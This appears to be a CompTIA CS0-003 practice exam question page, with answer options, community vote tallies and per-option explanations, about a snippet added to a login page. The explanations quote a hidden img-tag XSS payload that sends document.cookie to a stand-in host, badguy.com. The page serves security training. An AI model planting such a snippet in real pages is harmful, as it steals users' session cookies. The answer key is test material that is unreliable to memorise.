nerdexam
CompTIA

CS0-003 · Question #224

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the p

The correct answer is B. Exfiltration. A security analyst detected an added code snippet in login.html via file integrity monitoring, indicating a mismatch in the file hash.

Submitted by jaden.t· Mar 6, 2026Security Operations

Question

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

Which of the following best describes the activity the analyst has observed?

Exhibit

CS0-003 question #224 exhibit

Options

  • AObfuscated links
  • BExfiltration
  • CUnauthorized changes
  • DBeaconing

How the community answered

(29 responses)
  • A
    7% (2)
  • B
    69% (20)
  • C
    3% (1)
  • D
    21% (6)

Why each option

A security analyst detected an added code snippet in `login.html` via file integrity monitoring, indicating a mismatch in the file hash.

AObfuscated links

While the `<img>` tag is hidden (`display:none`), which could be considered a form of obfuscation, the primary malicious intent of the code is not just to hide a link, but to steal data.

BExfiltrationCorrect

Exfiltration refers to the unauthorized transfer or extraction of data from a system or network, which is precisely what the provided code snippet (`<img src="http://badguy.com/log.gif?cookie="+document.cookie+alert("badguys will steal your cookies.")>` with `display:none`) is designed to do by sending sensitive cookie data to an external server. This type of activity is often seen in Cross-Site Scripting (XSS) attacks aimed at stealing user credentials or session tokens.

CUnauthorized changes

Unauthorized changes did occur, as indicated by the FIM alert and the code snippet being added, but this describes the means of the attack, not the specific activity or goal of the added code itself, which is data theft.

DBeaconing

Beaconing typically refers to periodic, outbound communication from a compromised system to a command-and-control server; this code snippet is an immediate, one-time attempt to send specific data (cookies) upon page load.

Concept tested: Data exfiltration techniques (XSS)

Source: https://owasp.org/www-community/attacks/xss/

Topics

#file integrity monitoring#web defacement#exfiltration#unauthorized changes

Community Discussion

No community discussion yet for this question.

Full CS0-003 Practice